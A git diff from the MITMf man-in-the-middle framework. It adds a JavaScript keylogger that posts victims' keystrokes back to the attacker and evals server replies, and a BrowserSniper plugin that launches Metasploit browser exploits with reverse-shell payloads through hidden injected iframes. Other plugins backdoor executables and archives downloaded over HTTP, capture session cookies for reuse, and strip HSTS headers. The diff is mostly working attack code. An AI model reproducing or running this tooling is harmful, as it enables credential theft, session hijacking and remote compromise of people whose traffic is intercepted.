flavor = dict(
|
||||
MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE])
|
||||
)
|
||||
|
||||
|
||||
detectorshub = DetectorsHub()
|
||||
|
||||
|
||||
def detect(agent, fill_none=False):
|
||||
"""
|
||||
fill_none: if name/version is not detected respective key is still added to the result with value None
|
||||
"""
|
||||
result = dict(platform=dict(name=None, version=None))
|
||||
_suggested_detectors = []
|
||||
|
||||
for info_type in detectorshub:
|
||||
detectors = _suggested_detectors or detectorshub[info_type]
|
||||
for detector in detectors:
|
||||
try:
|
||||
detector.detect(agent, result)
|
||||
except Exception as _err:
|
||||
pass
|
||||
|
||||
if fill_none:
|
||||
attrs_d = {'name': None, 'version': None}
|
||||
for key in ('os', 'browser'):
|
||||
if key not in result:
|
||||
result[key] = attrs_d
|
||||
else:
|
||||
for k, v in attrs_d.items():
|
||||
result[k] = v
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def simple_detect(agent):
|
||||
"""
|
||||
-> (os, browser) # tuple of strings
|
||||
"""
|
||||
result = detect(agent)
|
||||
os_list = []
|
||||
if 'flavor' in result:
|
||||
os_list.append(result['flavor']['name'])
|
||||
if 'dist' in result:
|
||||
os_list.append(result['dist']['name'])
|
||||
if 'os' in result:
|
||||
os_list.append(result['os']['name'])
|
||||
|
||||
os = os_list and " ".join(os_list) or "Unknown OS"
|
||||
os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \
|
||||
(result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or ""
|
||||
browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser'
|
||||
browser_version = 'browser' in result and result['browser'].get('version') or ""
|
||||
if browser_version:
|
||||
browser = " ".join((browser, browser_version))
|
||||
if os_version:
|
||||
os = " ".join((os, os_version))
|
||||
return os, browser
|
117
core/javascript/msfkeylogger.js
Normal file
117
core/javascript/msfkeylogger.js
Normal file
|
@ -0,0 +1,117 @@
|
|||
window.onload = function (){
|
||||
var2 = ",";
|
||||
name = '';
|
||||
function make_xhr(){
|
||||
var xhr;
|
||||
try {
|
||||
xhr = new XMLHttpRequest();
|
||||
} catch(e) {
|
||||
try {
|
||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
} catch(e) {
|
||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||
}
|
||||
}
|
||||
if(!xhr) {
|
||||
throw "failed to create XMLHttpRequest";
|
||||
}
|
||||
return xhr;
|
||||
}
|
||||
|
||||
xhr = make_xhr();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||
eval(xhr.responseText);
|
||||
}
|
||||
}
|
||||
|
||||
if (window.addEventListener){
|
||||
//console.log("first");
|
||||
document.addEventListener('keypress', function2, true);
|
||||
document.addEventListener('keydown', function1, true);
|
||||
}
|
||||
else if (window.attachEvent){
|
||||
//console.log("second");
|
||||
document.attachEvent('onkeypress', function2);
|
||||
document.attachEvent('onkeydown', function1);
|
||||
}
|
||||
else {
|
||||
//console.log("third");
|
||||
document.onkeypress = function2;
|
||||
document.onkeydown = function1;
|
||||
}
|
||||
}
|
||||
|
||||
function function2(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 0)
|
||||
{
|
||||
var3 = e.charCode
|
||||
}
|
||||
|
||||
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
function function1(e)
|
||||
{
|
||||
try
|
||||
{
|
||||
srcname = window.event.srcElement.name;
|
||||
}catch(error)
|
||||
{
|
||||
srcname = e.srcElement ? e.srcElement.name : e.target.name
|
||||
if (srcname == "")
|
||||
{
|
||||
srcname = e.target.name
|
||||
}
|
||||
}
|
||||
|
||||
var3 = (e) ? e.keyCode : e.which;
|
||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||
{
|
||||
andxhr(var3.toString(16), srcname);
|
||||
}
|
||||
else if (var3 == 0)
|
||||
{
|
||||
|
||||
text = document.getElementById(id).value;
|
||||
if (text.length != 0)
|
||||
{
|
||||
andxhr(text.toString(16), srcname);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
function andxhr(key, inputName)
|
||||
{
|
||||
if (inputName != name)
|
||||
{
|
||||
name = inputName;
|
||||
var2 = ",";
|
||||
}
|
||||
var2= var2 + key + ",";
|
||||
xhr.open("POST", "keylog", true);
|
||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
xhr.send(var2 + '&&' + inputName);
|
||||
|
||||
if (key == 13 || var2.length > 3000)
|
||||
{
|
||||
var2 = ",";
|
||||
}
|
||||
}
|
76
core/javascript/plugindetect.js
Normal file
76
core/javascript/plugindetect.js
Normal file
File diff suppressed because one or more lines are too long
2878
core/javascript/screenshot.js
Normal file
2878
core/javascript/screenshot.js
Normal file
File diff suppressed because it is too large
Load diff
|
@ -24,8 +24,8 @@ import zlib
|
|||
import gzip
|
||||
import StringIO
|
||||
import sys
|
||||
import core.httpagentparser as hap
|
||||
|
||||
from user_agents import parse
|
||||
from twisted.web.http import HTTPClient
|
||||
from URLMonitor import URLMonitor
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
@ -72,13 +72,12 @@ class ServerConnection(HTTPClient):
|
|||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
try:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
||||
mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host']))
|
||||
except Exception as e:
|
||||
mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e))
|
||||
self.clientInfo = "{} ".format(self.client.getClientIP())
|
||||
mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e))
|
||||
mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
pass
|
||||
|
||||
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
|
||||
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
@ -96,7 +95,8 @@ class ServerConnection(HTTPClient):
|
|||
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
||||
if len(postdata) > 0:
|
||||
mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata))
|
||||
except UnicodeDecodeError and UnicodeEncodeError:
|
||||
except Exception as e:
|
||||
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
|
||||
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
|
||||
pass
|
||||
|
||||
|
@ -105,6 +105,7 @@ class ServerConnection(HTTPClient):
|
|||
|
||||
def connectionMade(self):
|
||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||
self.clientInfo = hap.simple_detect(self.headers['user-agent'])
|
||||
self.plugins.hook()
|
||||
self.sendRequest()
|
||||
self.sendHeaders()
|
||||
|
@ -133,7 +134,7 @@ class ServerConnection(HTTPClient):
|
|||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo))
|
||||
mitmf_logger.info("{} [type:{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0]))
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -220,13 +221,6 @@ class ServerConnection(HTTPClient):
|
|||
dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys()))))
|
||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||
|
||||
#mitmf_logger.debug("HSTS DEBUG received data:\n"+data)
|
||||
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
|
||||
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
|
||||
#if data.find("http://w.face")!=-1:
|
||||
# mitmf_logger.debug("HSTS DEBUG Found error in modifications")
|
||||
# raw_input("Press Enter to continue")
|
||||
#return re.sub(ServerConnection.urlType, 'http://web.', data)
|
||||
return data
|
||||
|
||||
else:
|
||||
|
|
13
mitmf.py
13
mitmf.py
|
@ -131,16 +131,15 @@ for p in plugins:
|
|||
if vars(args)[p.optname] is True:
|
||||
|
||||
print "|_ {} v{}".format(p.name, p.version)
|
||||
if hasattr(p, 'tree_output') and p.tree_output:
|
||||
for line in p.tree_output:
|
||||
print "| |_ {}".format(line)
|
||||
p.tree_output.remove(line)
|
||||
if p.tree_info:
|
||||
for line in p.tree_info:
|
||||
print "| |_ {}".format(p.tree_info.pop())
|
||||
|
||||
p.initialize(args)
|
||||
|
||||
if hasattr(p, 'tree_output') and p.tree_output:
|
||||
for line in p.tree_output:
|
||||
print "| |_ {}".format(line)
|
||||
if p.tree_info:
|
||||
for line in p.tree_info:
|
||||
print "| |_ {}".format(p.tree_info.pop())
|
||||
|
||||
load.append(p)
|
||||
|
||||
|
|
|
@ -27,15 +27,13 @@ from core.beefapi import BeefAPI
|
|||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class BeefAutorun(Plugin):
|
||||
class BeefAutorun(Inject, Plugin):
|
||||
name = "BeEFAutorun"
|
||||
optname = "beefauto"
|
||||
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
||||
tree_output = []
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
|
|
File diff suppressed because one or more lines are too long
222
plugins/BrowserSniper.py
Normal file
222
plugins/BrowserSniper.py
Normal file
|
@ -0,0 +1,222 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import string
|
||||
import random
|
||||
import sys
|
||||
import logging
|
||||
|
||||
from time import sleep
|
||||
from core.msfrpc import Msfrpc
|
||||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.BrowserProfiler import BrowserProfiler
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class BrowserSniper(BrowserProfiler, Plugin):
|
||||
name = "BrowserSniper"
|
||||
optname = "browsersniper"
|
||||
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||
version = "0.4"
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.msfip = SystemConfig.getIP(options.interface)
|
||||
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||
|
||||
msfcfg = self.config['MITMf']['Metasploit']
|
||||
self.rpcip = msfcfg['rpcip']
|
||||
self.rpcpass = msfcfg['rpcpass']
|
||||
|
||||
#Initialize the BrowserProfiler plugin
|
||||
BrowserProfiler.initialize(self, options)
|
||||
|
||||
try:
|
||||
self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||
self.msf.login('msf', self.rpcpass)
|
||||
version = self.msf.call('core.version')['version']
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
|
||||
|
||||
def startThread(self, options):
|
||||
self.snipe()
|
||||
|
||||
def onConfigChange(self):
|
||||
self.initialize(self.options)
|
||||
|
||||
def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||
return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5))
|
||||
|
||||
def _getRandPort(self):
|
||||
return random.randint(1000, 65535)
|
||||
|
||||
def _setupExploit(self, exploit, msfport):
|
||||
|
||||
rand_url = self._genRandURL()
|
||||
rand_port = self._getRandPort()
|
||||
#generate the command string to send to the virtual console
|
||||
#new line character very important as it simulates a user pressing enter
|
||||
cmd = "use exploit/{}\n".format(exploit)
|
||||
cmd += "set SRVPORT {}\n".format(msfport)
|
||||
cmd += "set URIPATH {}\n".format(rand_url)
|
||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
||||
cmd += "set LHOST {}\n".format(self.msfip)
|
||||
cmd += "set LPORT {}\n".format(rand_port)
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
#Create a virtual console
|
||||
console_id = self.msf.call('console.create')['id']
|
||||
|
||||
#write the cmd to the newly created console
|
||||
self.msf.call('console.write', [console_id, cmd])
|
||||
|
||||
return (rand_url, rand_port)
|
||||
|
||||
def _compat_system(self, os_config, brw_config):
|
||||
os = self.output['useragent'][0].lower()
|
||||
browser = self.output['useragent'][1].lower()
|
||||
|
||||
if (os_config == 'any') and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config == 'any') and (brw_config in browser):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config == 'any'):
|
||||
return True
|
||||
|
||||
if (os_config in os) and (brw_config in browser):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def getExploits(self):
|
||||
exploits = list()
|
||||
vic_ip = self.output['ip']
|
||||
|
||||
#First get the client's info
|
||||
java = None
|
||||
if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'):
|
||||
java = self.output['java_version']
|
||||
|
||||
flash = None
|
||||
if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'):
|
||||
flash = self.output['flash_version']
|
||||
|
||||
mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash))
|
||||
|
||||
for exploit, details in self.config['BrowserSniper'].iteritems():
|
||||
|
||||
if self._compat_system(details['OS'].lower(), details['Browser'].lower()):
|
||||
|
||||
if details['Type'].lower() == 'browservuln':
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Type'].lower() == 'pluginvuln':
|
||||
|
||||
if details['Plugin'].lower() == 'java':
|
||||
if (java is not None) and (java in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
elif details['Plugin'].lower() == 'flash':
|
||||
|
||||
if (flash is not None) and (java in details['PluginVersions']):
|
||||
exploits.append(exploit)
|
||||
|
||||
mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits))
|
||||
return exploits
|
||||
|
||||
def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||
|
||||
#inject iframe
|
||||
mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip))
|
||||
self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects
|
||||
|
||||
#The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds
|
||||
#Will also make sure the shell actually came from the box that we targeted
|
||||
#probably a much cleaner way of doing this :/
|
||||
mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip))
|
||||
exit_loop = False
|
||||
poll_n = 1
|
||||
while poll_n <= 30:
|
||||
|
||||
if exit_loop is True:
|
||||
break
|
||||
|
||||
sessions = self.msf.call('session.list')
|
||||
if sessions:
|
||||
for k, v in sessions.iteritems():
|
||||
if ip in sessions[k]['tunnel_peer']:
|
||||
mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip))
|
||||
self.sploited_ips.append(ip)
|
||||
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||
exit_loop = True
|
||||
break
|
||||
|
||||
poll_n += 1
|
||||
sleep(2)
|
||||
|
||||
if exit_loop is False: #We didn't get a shell :(
|
||||
mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip))
|
||||
|
||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||
|
||||
def snipe(self):
|
||||
while True:
|
||||
if self.output:
|
||||
vic_ip = self.output['ip']
|
||||
msfport = self.config['MITMf']['Metasploit']['msfport']
|
||||
exploits = self.getExploits()
|
||||
|
||||
if not exploits:
|
||||
if vic_ip not in self.sploited_ips:
|
||||
mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip))
|
||||
self.sploited_ips.append(vic_ip)
|
||||
self.black_ips = self.sploited_ips
|
||||
|
||||
elif exploits and (vic_ip not in self.sploited_ips):
|
||||
mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits)))
|
||||
|
||||
inject_payload = ''
|
||||
|
||||
for exploit in exploits:
|
||||
|
||||
jobs = self.msf.call('job.list') #get running jobs
|
||||
if jobs:
|
||||
for pid, name in jobs.iteritems():
|
||||
info = self.msf.call('job.info', [pid])
|
||||
if (exploit in info['name']):
|
||||
mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit))
|
||||
url = info['uripath'] #get the url assigned to the exploit
|
||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url)
|
||||
else:
|
||||
url, port = self._setupExploit(exploit, msfport)
|
||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
||||
else:
|
||||
url, port = self._setupExploit(exploit, msfport)
|
||||
inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url)
|
||||
|
||||
self.injectAndPoll(vic_ip, inject_payload)
|
||||
|
||||
sleep(1)
|
|
@ -20,20 +20,20 @@
|
|||
|
||||
import logging
|
||||
|
||||
from datetime import datetime
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
from core.ferretNG.FerretProxy import FerretProxy
|
||||
from core.ferretNG.URLMonitor import URLMonitor
|
||||
from core.ferretng.FerretProxy import FerretProxy
|
||||
from core.ferretng.URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class FerretNG(Plugin):
|
||||
name = "Ferret-NG"
|
||||
optname = "ferret"
|
||||
optname = "ferretng"
|
||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||
tree_output = list()
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
|
||||
|
@ -42,14 +42,16 @@ class FerretNG(Plugin):
|
|||
self.options = options
|
||||
self.ferret_port = 10010 or options.ferret_port
|
||||
|
||||
self.tree_output.append("Listening on port {}".format(self.ferret_port))
|
||||
self.tree_info.append("Listening on port {}".format(self.ferret_port))
|
||||
|
||||
def clientRequest(self, request):
|
||||
if 'cookie' in request.headers:
|
||||
host = request.headers['host']
|
||||
cookie = request.headers['cookie']
|
||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie))
|
||||
URLMonitor.getInstance().cookies[host] = cookie
|
||||
client = request.client.getClientIP()
|
||||
if host not in URLMonitor.getInstance().cookies:
|
||||
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
|
||||
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
|
||||
|
||||
def pluginReactor(self, StrippingProxy):
|
||||
FerretFactory = http.HTTPFactory(timeout=10)
|
||||
|
@ -57,4 +59,11 @@ class FerretNG(Plugin):
|
|||
reactor.listenTCP(self.ferret_port, FerretFactory)
|
||||
|
||||
def pluginOptions(self, options):
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)')
|
||||
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
|
||||
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
|
||||
|
||||
def finish(self):
|
||||
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
|
||||
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
|
||||
cookie_file.write(URLMonitor.getInstance().cookies)
|
||||
cookie_file.close()
|
|
@ -61,6 +61,7 @@ import logging
|
|||
import shutil
|
||||
import random
|
||||
import string
|
||||
import threading
|
||||
import tarfile
|
||||
import multiprocessing
|
||||
|
||||
|
@ -78,8 +79,7 @@ class FilePwn(Plugin):
|
|||
name = "FilePwn"
|
||||
optname = "filepwn"
|
||||
desc = "Backdoor executables being sent over http using bdfactory"
|
||||
implements = ["handleResponse"]
|
||||
tree_output = ["BDFProxy v0.3.2 online"]
|
||||
tree_info = ["BDFProxy v0.3.2 online"]
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
|
||||
|
@ -134,17 +134,23 @@ class FilePwn(Plugin):
|
|||
msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary
|
||||
msf.login('msf', rpcpass)
|
||||
version = msf.call('core.version')['version']
|
||||
self.tree_output.append("Connected to Metasploit v{}".format(version))
|
||||
self.tree_info.append("Connected to Metasploit v{}".format(version))
|
||||
|
||||
t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception:
|
||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||
|
||||
self.tree_output.append("Setting up Metasploit payload handlers")
|
||||
def setupMSF(self, msf):
|
||||
|
||||
jobs = msf.call('job.list')
|
||||
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
|
||||
cmd = "use exploit/multi/handler\n"
|
||||
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
|
||||
cmd += "set LHOST {}\n".format(config["HOST"])
|
||||
cmd += "set LPORT {}\n".format(config["PORT"])
|
||||
cmd += "set ExitOnSession False\n"
|
||||
cmd += "exploit -j\n"
|
||||
|
||||
if jobs:
|
||||
|
@ -589,46 +595,46 @@ class FilePwn(Plugin):
|
|||
self.patched.put(tempZipFile)
|
||||
return
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
def serverResponse(self, response, request, data):
|
||||
|
||||
content_header = request.client.headers['Content-Type']
|
||||
client_ip = request.client.getClientIP()
|
||||
content_header = response.headers['Content-Type']
|
||||
client_ip = response.getClientIP()
|
||||
|
||||
if content_header in self.zipMimeTypes:
|
||||
|
||||
if self.bytes_have_format(data, 'zip'):
|
||||
mitmf_logger.info("{} Detected supported zip file type!".format(client_ip))
|
||||
mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip))
|
||||
|
||||
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
process.join()
|
||||
#process.join()
|
||||
bd_zip = self.patched.get()
|
||||
|
||||
if bd_zip:
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_zip}
|
||||
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'response': response, 'request': request, 'data': bd_zip}
|
||||
|
||||
else:
|
||||
for tartype in ['gz','bz','tar']:
|
||||
if self.bytes_have_format(data, tartype):
|
||||
mitmf_logger.info("{} Detected supported tar file type!".format(client_ip))
|
||||
mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip))
|
||||
|
||||
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
process.join()
|
||||
#process.join()
|
||||
bd_tar = self.patched.get()
|
||||
|
||||
if bd_tar:
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_tar}
|
||||
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'response': response, 'request': request, 'data': bd_tar}
|
||||
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
for bintype in ['pe','elf','fatfile','machox64','machox86']:
|
||||
if self.bytes_have_format(data, bintype):
|
||||
mitmf_logger.info("{} Detected supported binary type!".format(client_ip))
|
||||
mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype))
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
@ -636,15 +642,14 @@ class FilePwn(Plugin):
|
|||
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
|
||||
process.daemon = True
|
||||
process.start()
|
||||
process.join()
|
||||
#process.join()
|
||||
patchb = self.patched.get()
|
||||
|
||||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'request': request, 'data': bd_binary}
|
||||
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
|
||||
return {'response': response, 'request': request, 'data': bd_binary}
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header))
|
||||
return {'request': request, 'data': data}
|
||||
mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header))
|
||||
return {'response': response, 'request': request, 'data': data}
|
|
@ -27,15 +27,14 @@ import argparse
|
|||
from core.utils import SystemConfig
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class Inject(Plugin):
|
||||
class Inject(CacheKill, Plugin):
|
||||
name = "Inject"
|
||||
optname = "inject"
|
||||
desc = "Inject arbitrary content into HTML content"
|
||||
version = "0.2"
|
||||
version = "0.3"
|
||||
has_opts = True
|
||||
|
||||
def initialize(self, options):
|
||||
|
@ -47,8 +46,10 @@ class Inject(Plugin):
|
|||
self.rate_limit = options.rate_limit
|
||||
self.count_limit = options.count_limit
|
||||
self.per_domain = options.per_domain
|
||||
self.black_ips = options.black_ips
|
||||
self.white_ips = options.white_ips
|
||||
self.black_ips = options.black_ips.split(',')
|
||||
self.white_ips = options.white_ips.split(',')
|
||||
self.white_domains = options.white_domains.split(',')
|
||||
self.black_domains = options.black_domains.split(',')
|
||||
self.match_str = "</body>" or options.match_str
|
||||
self.html_payload = options.html_payload
|
||||
self.ctable = {}
|
||||
|
@ -57,16 +58,14 @@ class Inject(Plugin):
|
|||
self.mime = "text/html"
|
||||
|
||||
if not options.preserve_cache:
|
||||
cachekill = CacheKill()
|
||||
cachekill.initialize(options)
|
||||
ProxyPlugins.getInstance().addPlugin(cachekill)
|
||||
CacheKill.initialize(self, options)
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
#We throttle to only inject once every two seconds per client
|
||||
#If you have MSF on another host, you may need to check prior to injection
|
||||
#print "http://" + response.client.getRequestHostname() + response.uri
|
||||
ip, hn, mime = self._get_req_info(response)
|
||||
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip):
|
||||
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip):
|
||||
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
||||
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
||||
self.ctable[ip] = time.time()
|
||||
|
@ -81,20 +80,37 @@ class Inject(Plugin):
|
|||
|
||||
def _ip_filter(self, ip):
|
||||
|
||||
if self.white_ips is not None:
|
||||
if ip in self.white_ips.split(','):
|
||||
if self.white_ips[0] != '':
|
||||
if ip in self.white_ips:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
if self.black_ips is not None:
|
||||
if ip in self.black_ips.split(','):
|
||||
if self.black_ips[0] != '':
|
||||
if ip in self.black_ips:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
return True
|
||||
|
||||
def _host_filter(self, host):
|
||||
|
||||
if self.white_domains[0] != '':
|
||||
if host in self.white_domains:
|
||||
return True
|
||||
else:
|
||||
return False
